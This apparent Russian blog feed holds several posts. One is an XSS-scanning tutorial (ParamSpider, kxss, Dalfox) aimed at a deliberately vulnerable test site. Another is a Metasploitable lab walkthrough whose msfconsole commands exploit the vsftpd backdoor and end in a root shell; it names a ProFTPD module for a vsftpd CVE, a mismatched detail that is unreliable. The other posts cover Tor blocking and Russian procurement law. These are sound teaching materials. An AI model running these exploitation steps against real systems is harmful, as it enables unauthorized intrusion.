Автоматизация поиска XSS уязвимостей
Участвуя в программе вознаграждения Баг Баунти, часто приходится искать XSS-язвимости сайтов. Сегодня обсудим несколько полезных инструментов для автоматизация поиска XSS-уязвимостей в веб-приложениях.
Автоматизация поиска XSS уязвимостей
В качестве цели, чтобы не нарушать закон, будем использовать специально предназначенный для этого уязвимый сайт:
Итак, рассмотрим лучшие инструменты для автоматизация поиска XSS-уязвимостей в веб-приложениях.
Bug Bounty — это программа, которую владелец сайта проводит для привлечения сторонних специалистов к поиску уязвимостей. При участии в программе Баг Баунти нужно действовать этично и придерживаться установленных правил. Не стоит забывать, что несанкционированный взлом является незаконным и расценивается, как уголовное преступление.
Это инструмент Python, который используется для поиска параметров сайта в веб-архиве без взаимодействия с хостом. Для поиска параметров, ParamSpider использует различные методы и списки слов.
Тулза будер полезна при поиске XSS, SQL-инъекций, SSRF и уязвимостей Open Redirect.
Установка Paramspider
Для установки Paramspider, используйте следующие команды:
cd ParamSpider
pip3 install -r requirements.txt
Если не получается установить, убедитесь, что у вас установлен Python 3 и Git.
Использование Paramspider
Для поиска XSS, выполняем команду:
python3 paramspider.py --domain http://testphp.vulnweb.com/ -o /home/media/vuln.txt
Эта команда запускает сценарий Python и сканирует цель. Полученные результаты сохраняет в текстовый файл.
Официальная страница Paramspider на GitHub:
Kxss
Ищет XSS на основе результатов найденных параметров из Waybackurls или Burp.
Установка Kxss
Для работы программы, необходимо установить Golang.
Для установки, используем команду:
go get github.com/Emoe/kxss
Использование Kxss
Вы можете запустить скрипт подсунув файл найденных параметров Paramaspider:
cat vuln.txt | kxss
Официальная страница Kxss на GitHub:
Dalfox
DalFox — это мощный инструмент для поиска XSS., Также анализатор параметров и утилита, которые ускоряют процесс обнаружения XSS.
Основная концепция заключается в анализе параметров, поиске XSS и проверке их на основе синтаксического анализатора DOM.
Установка Dalfox
Можно установить Dalfox с помощью snap:
snap install dalfox
Использование Dalfox
Чтобы запустить скрипт и найти XSS-уязвимости на сайте, выполните команду:
cat vuln.txt | kxss | dalfox pipe
Как мы видим, инструмент возвращает страницы со скрытыми параметрами (Reflected parameters).
Можно подсунуть полезную нагрузку:
Официальная страница Dalfox на GitHub:
Он-лайн сервис для поиска XSS уязвимостей
Можно также использовать онлайн-сервис pentest-tools.com/website-vulnerability-scanning/xss-..., который позволяет найти XSS веб-приложения, не устанавливая при этом никаких дополнительных инструментов. Просто вводите URL и получаете результат.
Информация предоставлена исключительно в ознакомительных целях!
Мы в телеграме!
Metasploitable: Пример атаки
Поскольку взламывать чужие компьютеры незаконно а запах уязвимостей манит так-же как кровь для вампира имеет смысл организовать небольшую, скромную пентест лабораторию у себя в сети.
Существует много приложений, которые могут Вам помочь протестировать свои навыки или всячески попытаться их улучшить. Ими являются BWapp, Damn Vulnerable Web Application (DVWA), огромное количество CTF соревнований и многое другое.
#Metasploitable
Однако сегодня мы скачиваем целую виртуальную машину. Идем сюда https://sourceforge.net/projects/metasploitable/ и просто ждем завершения загрузки. Надеюсь, что мне не нужно учить Вас как создать виртуальную машину. Вкратце скажу что я предпочитаю Oracle VirtualBox. Это бесплатно и очень круто. Создаем машину с ubutu 64x и подключаем к ней виртуальный диск, который у нас есть.
#Дисклеймер
Маленький дисклеймер. Друзья, все что будет рассказано в данном посте, показывается исключительно для вашего самообразования и никак иначе. Если хотите что-то взломать, станьте пентестером или проходите CTF. Никогда не используйте знания во вред окружающим!
А, и кстати. Создайте сетевой мост у себя на компьютере. Через NAT ничего работать не будет. Теперь когда все готово мы запускаем машину и входим туда с помощью данных msfadmin:msfadmin.
Теперь давайте зайдем в Kali Linux и посмотрим, что там будет.
#Nmap
Я бы с радостью воспользовался нормальными сканнерами уязвимостей по типу Nessus или OpenVas, но мы будем использовать nmap, в котором уже есть скрипты для выявления уязвимостей. Кстати через прокси или тор они не работают поэтому чтобы что-то взломать вам придется знать наизусть как эксплуатируется тот или иной web сервис.
Поехали. Заходим в metasploitable и смотрим наш локальный ip адрес. В моем случае он - 192.168.1.131.
#Начало сканирования
Пишем в kali linux следующую компанду:
💣sudo nmap -sV -Pn --script vulners 192.168.1.131
Флаг sV означает, что мы получим дополнительную информацию о названии сервиса за портом и версией его патча.
Флаг Pn означает, что мы не отправим ping запросов и будем рассматривать все хосты будто бы они онлайн, пропустим обнаружение хостов.
#Выбор уязвимости
Через пару секунд мы видим огромное количество уязвимостей. Нас интересует самые высокие. В качестве примера возьмем CVE-2011-2523.
#msfconsole
Гуглим все про уязвимость а вместе с этим открываем msfconsole и пишем:
💣search ftp
💣use exploit unix/ftp/proftpd133cbackdoor
Выбираем полезную нагрузку. Я выбрал cmd/unix/interact.
💣Set payload payload/cmd/interact.
💣set RHOSTS 192.168.1.131
Тут как вы понимаете ip metasploitable в локалке.
Exploit
И видим следующее:
192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)
* 192.168.1.131:21 - USER: 331 Please specify the password.
+ 192.168.1.131:21 - Backdoor service has been spawned, handling...
+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)
* Found shell.
* Command shell session 1 opened (192.168.1.15:39957 -> 192.168.1.131:6200)
Информация предоставлена исключительно в ознакомительных целях!
Мы в телеграме!
Linux запретят?
Заблокировали сайт Tor, за то что он "предоставляет доступ к инструменту, позволяющему обходить блокировки". Однако множество линуксов позволяет установить Тор и его компоненты из репозитория, а в некоторых сборках он уже установлен "из коробки". То есть тоже предоставляет, гад такой.
Ждем запрета?
Или есть тонкости?
Про Windows в бюджете
В ходе разросшейся в прошлом посте дискуссии я понял, что мало кто (если вообще кто-то) слышал, что за бюджетные деньги импортное покупать можно только в особых условиях. Формулировка закона (ниже) такова, что под эти ограничения попадает в том числе и иностранное программное обеспечение, включая Windows и MS Office.
Федеральный закон от 29.06.2015 г. № 188-ФЗ "О внесении изменений в Федеральный закон «Об информации, информационных технологиях и о защите информации» и статью 14 Федерального закона «О контрактной системе в сфере закупок товаров, работ, услуг для обеспечения государственных и муниципальных нужд»"
Ссылка на закон: http://www.kremlin.ru/acts/bank/39838
Статья 2
Часть 3 статьи 14 Федерального закона от 5 апреля 2013 года
N 44-ФЗ "О контрактной системе в сфере закупок товаров, работ,
услуг для обеспечения государственных и муниципальных нужд"
(Собрание законодательства Российской Федерации, 2013, N 14,
ст. 1652) изложить в следующей редакции:
"3. В целях защиты основ конституционного строя, обеспечения
обороны страны и безопасности государства, защиты внутреннего рынка
Российской Федерации, развития национальной экономики, поддержки
российских товаропроизводителей нормативными правовыми актами
Правительства Российской Федерации устанавливаются запрет на допуск
товаров, происходящих из иностранных государств, работ, услуг,
соответственно выполняемых, оказываемых иностранными лицами, и
ограничения допуска указанных товаров, работ, услуг для целей
осуществления закупок. В случае, если указанными нормативными
правовыми актами Правительства Российской Федерации предусмотрены
обстоятельства, допускающие исключения из установленных в
соответствии с настоящей частью запрета или ограничений, заказчики
при наличии указанных обстоятельств обязаны разместить в единой
информационной системе обоснование невозможности соблюдения
указанных запрета или ограничений. Порядок подготовки и размещения
обоснования невозможности соблюдения указанных запрета или
ограничений в единой информационной системе, а также требования к
его содержанию устанавливаются Правительством Российской Федерации.
Определение страны происхождения указанных товаров осуществляется в
соответствии с законодательством Российской Федерации.".
Статья 3
Настоящий Федеральный закон вступает в силу с 1 января
2016 года.
А что там в постановлении Правительства? Конкретно в Постановлении Правительства РФ от 16.11.2015 № 1236 "Об установлении запрета на допуск программного обеспечения, происходящего из иностранных государств, для целей осуществления закупок для обеспечения государственных и муниципальных нужд"? А вот что:
2. Установить запрет на допуск программ для электронных вычислительных машин и баз данных, реализуемых независимо от вида договора на материальном носителе и (или) в электронном виде по каналам связи, происходящих из иностранных государств, а также исключительных прав на такое программное обеспечение и прав использования такого программного обеспечения (далее - программное обеспечение и (или) права на него), для целей осуществления закупок для обеспечения государственных и муниципальных нужд, за исключением следующих случаев:
а) в реестре отсутствуют сведения о программном обеспечении, соответствующем тому же классу программного обеспечения, что и программное обеспечение, планируемое к закупке;
б) программное обеспечение, сведения о котором включены в реестр и которое соответствует тому же классу программного обеспечения, что и программное обеспечение, планируемое к закупке, по своим функциональным, техническим и (или) эксплуатационным характеристикам не соответствует установленным заказчиком требованиям к планируемому к закупке программному обеспечению.
Бюджетника желающим купить продукцию Microsoft - а вы готовы доказать, что без него жить не можете? В зависимости от суммы потраченной на лицензии это может быть как административная, так и уголовная ответственность по ст. 285.1 или 285.2 УК РФ.
По смыслу закона и постановления запрещается закупать т.е. открытый софт можно использовать без ограничений. Чтобы вообще снять вопросы - есть отечественная бесплатная Астра, есть сертифицированный ФСТЭК Альт... Есть специальная версия GosLinux.
Тем кто желает поумничать - помните, что в случае проверки не мне в комментариях, а ВАМ нужно будет доказать обоснованность закупки и соблюдение процедуры обоснования тем кто придет вас проверять.

